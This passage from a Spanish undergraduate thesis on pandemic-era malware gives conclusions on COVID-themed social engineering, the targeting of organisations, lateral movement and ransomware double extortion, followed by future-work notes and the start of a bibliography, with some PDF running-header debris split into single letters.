Tal y como se analizaba en la sección 7.2.4, la ingenieŕıa social se basa sobretodo en

abusar de las personas mas susceptibles. Momentos de desconcierto y caos son momentos

clave en los cuales las personas pueden encontrarse “con la guardia baja” y caer en ataques

de ingenieŕıa social.

Se estima, que en Abril de 2020, un tercio de toda la población mundial se encontraba

en mayor o menor medida de confinamiento y medidas de distanciamiento social[81], es

decir, este era un punto perfecto donde atacar al factor humano.

Esto se aprecia claramente en los gráficos de los reportes de Malwarebytes [127], So-

nicWall [4] o ZScaler [128].

En la figura 11.4, sacada del reporte de SonicWall, se puede apreciar como en cier-



R
es
u
lt
a
d
o
s

G
en

er
a
le

s

R
es
u
lt
a
d
o
s

G
en

er
a
le

s

R
es
u
lt
a
d
o
s

G
en

er
a
le

s

R
es
u
lt
a
d
o
s

G
en

er
a
le

s

R
es
u
lt
a
d
o
s

G
en

er
a
le

s

R
es
u
lt
a
d
o
s

G
en

er
a
le

s

R
es
u
lt
a
d
o
s

G
en

er
a
le

s

R
es
u
lt
a
d
o
s

G
en

er
a
le

s

R
es
u
lt
a
d
o
s

G
en

er
a
le

s

R
es
u
lt
a
d
o
s

G
en

er
a
le

s

R
es
u
lt
a
d
o
s

G
en

er
a
le

s

Resultados Generales 179

tos puntos, usuarios del sector del gobierno o salud han sido objetivos del malware con

temática de COVID en un 90%.

Figura 11.4: Porcentaje de usuarios objetivo de malware con temática de COVID.

En otros reportes estad́ısticos dados por compañ́ıas como ZScaler (figura 11.5), se

muestra con claridad como en poco tiempo existió un gran aumento en el phishing dirigido

al teletrabajo, además de su temática de COVID-19.

Figura 11.5: Estad́ısticas dadas por ZScaler.
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Por tanto, podemos concluir que si ha existido un incremento en los ataques basados

en ingenieŕıa social. Existen varios motivos por lo que esto ha ocurrido, en primer lugar

(y principalmente) por el desconcierto y grandes cambios que produjo la pandemia. Otro

motivo es el hecho de que los usuarios sean más inexpertos. Esto no solo provoca un

aumento en el uso de este vector de ataque, sino un posible aumento en el porcentaje de

éxito.

Existe una brecha entre los métodos de ataque a empresas y los ataques a

individuos. El modelo de negocio entre empresas y ataques a individuos es

diferente.

Durante el transcurso del TFG, se han analizado los distintos puntos de entrada,

modelos de negocio e intereses de varios tipos de malware.

Exceptuando los criptomineros, donde se busca obtener el mayor beneficio de cualquier

objetivo, se ha apreciado claramente que el interés es el de comprometer a organizaciones.

Esto se denota por ejemplo, en las técnicas de movimiento lateral que se han anali-

zado. Las vulnerabilidades utilizadas para ello, están bastante extendidas en los entornos

empresariales y no tanto a nivel de individuo.

Lo mismo ocurre con los modelos de negocio que se han analizado. En la familia de

ransomware Conti (analizada en la sección 10.2), gran parte de su beneficio se obteńıa

mediante la doble extorsión.

Se recuerda que la doble extorsión se basaba en el chantaje no solo de la pérdida de los

archivos al encontrarse encriptados, sino en el chantaje de publicar los archivos sensibles

al público. Obviamente, este modelo de negocio no tiene ningún sentido para usuarios de

a pie.

Y lo mismo se aprecia con las familias analizadas como InfoStealers (sección 8). Este

tipo de malware ha sido utilizado no solo para la obtención de información, sino como un

paso previo al ataque.

Por todo lo expuesto, se podŕıa decir que ambas hipótesis son ciertas.
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Existe intención de realizar movimiento lateral para causar daños mayores

Tal y como se ha analizado durante todo el TFG, el movimiento lateral es algo que

muchas familias utilizan.

No obstante, no siempre es un comportamiento por defecto. En las muestras de In-

foStealers (tanto en la familia pre-COVID, Emotet, como en la post-COVID, Trickbot)

el movimiento lateral deberá ser cargado como módulo extra.

En los ataques detectados en la realidad, familias como Emotet han hecho uso del

mismo exploit que se ha visto en la sección 10.1.3: Eternalblue, o ataques de fuerza bruta.

En otras familias, el movimiento lateral si está presente por defecto, véase por ejemplo

las familias de ransomware analizadas en la sección 10.

Todo esto hace, que si se analizan las estad́ısticas, 1 de cada 3 ataques muestre signos

de movimiento lateral[129].

Aunque la tendencia en la forma que se usa el movimiento lateral si ha cambiado, se

aprecia como el objetivo no es infectar toda la red, atacando a cualquier objetivo posible,

sino que se trata de realizar un ataque mucho más controlado y dirigido, donde se busca

atacar a las piezas más importantes del puzzle[127].

Finalmente, cabe destacar también la tendencia a realizar “island hoping”. Al realizar

ataques mucho más dirigidos, el movimiento lateral puede ocurrir no solo dentro de la

propia red, sino entre entidades socias[129].

Se analizaba en el caṕıtulo 7.2 como con la pandemia, la superficie de ataque hab́ıa

aumentado considerablemente. Al poder conectarse directamente entre entidades socias,

se pod́ıa atacar a firmas más pequeñas (a menudo más inseguras) y una vez en la red

poder atacar a los datos de la empresa objetivo.

De hecho, 1 de cada 3 ataques que usaban movimiento lateral usaba “island hoping”[129].

En resumen, podemos concluir que si existe intención de realizar movimiento lateral,

y que este no solo ocurre a nivel de red o infraestructura, sino que se realiza también entre

entidades.
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Caṕıtulo 12

Ĺıneas futuras

A pesar de que el proyecto es bastante completo, siempre existen algunos puntos que

no se han podido cubrir como se deseaŕıa. A continuación, se exponen algunos de ellos,

invitando a futuros alumnos o investigadores a tomar este TFG como base.

Durante la obtención de muestras, se trató de hacer uso de múltiples métodos, con el

fin de obtener una diversidad de malware mayor. No obstante, existieron diversos retos.

En primer lugar, aunque el honeypot desplegado (honeypot de SSH ) sufrió una gran

cantidad de ataques y malware, la gran mayoŕıa de estos han resultado ser criptomineros.

Esto no es un problema, de hecho, tiene correlación con lo que los datos estad́ısticos

plantean. Aun aśı, hubiera sido interesante desplegar otros tipos de honeypots, que cubran

otros protocolos usados por las familias analizadas (SMB, RDP, VPN, etc.).

En segundo lugar, para el análisis de pastes, hubiera sido quizás necesario un análisis

mucho más extenso. A pesar de que se realizaron diversos análisis, clasificaciones y se

usaron métodos para eliminar duplicados, el volumen de la muestra era aún demasia-

do grande, lo que no permitió más que obtener caracteŕısticas generales de los pastes

obtenidos.

En tercer lugar, durante el análisis de emails, aunque se hiciera uso de varios provee-

dores de correos y diversos métodos para obtener malware, no se obtuvo ningún email

malicioso (aunque si numerosas campañas de phishing). Esto no es necesariamente algo

183
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negativo, pero seŕıa interesante realizar la investigación con una implementación de correo

electrónico propia, dónde no existieran firewalls o detectores de amenazas.

Posteriormente, durante el apartado de análisis, a pesar de que el proyecto es bastante

completo y cubre las principales familias y tipos de malware, aún existen otras que no se

han podido cubrir. Basándose en el trabajo realizado, se podŕıa ampliar aún más, teniendo

en cuenta el resto de tipos de malware y analizar otras muestras.
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Apéndice A

Diagrama de GANTT

En este apéndice, se plasma un diagrama de GANTT que muestra con exactitud el

trabajo realizado en el tiempo. En este diagrama, se muestran los diferentes caṕıtulos y

secciones en la parte izquierda, y a la derecha se muestran los diferentes meses a modo de

ĺınea del tiempo.
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ÍA

B
IB

L
IO

G
R
A
F
ÍA
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ÍA

Bibliograf́ıa

[1] VX-Underground, “vx-underground - home.” [Online]. Available:

https://vx-underground.org/

[2] E. E. U. A. F. Network and I. Security, “Enisa threat landscape report 2018 15 top

cyberthreats and trends,” ETL 2018, vol. 2018, 2018. [Online]. Available:

https://www.enisa.europa.eu/publications/enisa-threat-landscape-report-

2018/at_download/fullReport

[3] Microsoft, “Exploiting a crisis: How cybercriminals behaved during the outbreak,”

Jun 2020. [Online]. Available:

https://www.microsoft.com/security/blog/2020/06/16/exploiting-a-crisis-how-

cybercriminals-behaved-during-the-outbreak/

[4] SonicWall, SONICWALL 2021 CYBER THREAT REPORT. SonicWall, 2021.

[Online]. Available: https://www.sonicwall.com/medialibrary/en/white-

paper/2021-cyber-threat-report.pdf

[5] O. W. in Data, “Coronavirus (covid-19) cases - statistics and research,” 2022.

[Online]. Available: https://ourworldindata.org/covid-cases

[6] S. D. Octopus, “What is a man in the browser attack (mitb) ? | security wiki,”

2020. [Online]. Available: https://doubleoctopus.com/security-wiki/threats-and-

tools/man-in-the-browser-attack/

189

https://vx-underground.org/
https://www.enisa.europa.eu/publications/enisa-threat-landscape-report-2018/at_download/fullReport
https://www.enisa.europa.eu/publications/enisa-threat-landscape-report-2018/at_download/fullReport
https://www.microsoft.com/security/blog/2020/06/16/exploiting-a-crisis-how-cybercriminals-behaved-during-the-outbreak/
https://www.microsoft.com/security/blog/2020/06/16/exploiting-a-crisis-how-cybercriminals-behaved-during-the-outbreak/
https://www.sonicwall.com/medialibrary/en/white-paper/2021-cyber-threat-report.pdf
https://www.sonicwall.com/medialibrary/en/white-paper/2021-cyber-threat-report.pdf
https://ourworldindata.org/covid-cases
https://doubleoctopus.com/security-wiki/threats-and-tools/man-in-the-browser-attack/
https://doubleoctopus.com/security-wiki/threats-and-tools/man-in-the-browser-attack/


B
IB

L
IO

G
R
A
F
ÍA
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ÍA

B
IB

L
IO

G
R
A
F
ÍA

B
IB

L
IO

G
R
A
F
ÍA
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ÍA

B
IB

L
IO

G
R
A
F
ÍA
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ÍA

B
IB

L
IO

G
R
A
F
ÍA
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ÍA

B
IB

L
IO

G
R
A
F
ÍA
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ÍA

B
IB

L
IO

G
R
A
F
ÍA
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ÍA

B
IB

L
IO

G
R
A
F
ÍA
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ÍA

B
IB

L
IO

G
R
A
F
ÍA
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ÍA

B
IB

L
IO

G
R
A
F
ÍA
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ÍA

B
IB

L
IO

G
R
A
F
ÍA
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ÍA

B
IB

L
IO

G
R
A
F
ÍA

B
IB

L
IO

G
R
A
F
ÍA
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ÍA

B
IB

L
IO

G
R
A
F
ÍA
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ÍA

B
IB

L
IO

G
R
A
F
ÍA
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ÍA

B
IB

L
IO

G
R
A
F
ÍA
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ÍA

B
IB

L
IO

G
R
A
F
ÍA
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ÍA

B
IB

L
IO

G
R
A
F
ÍA
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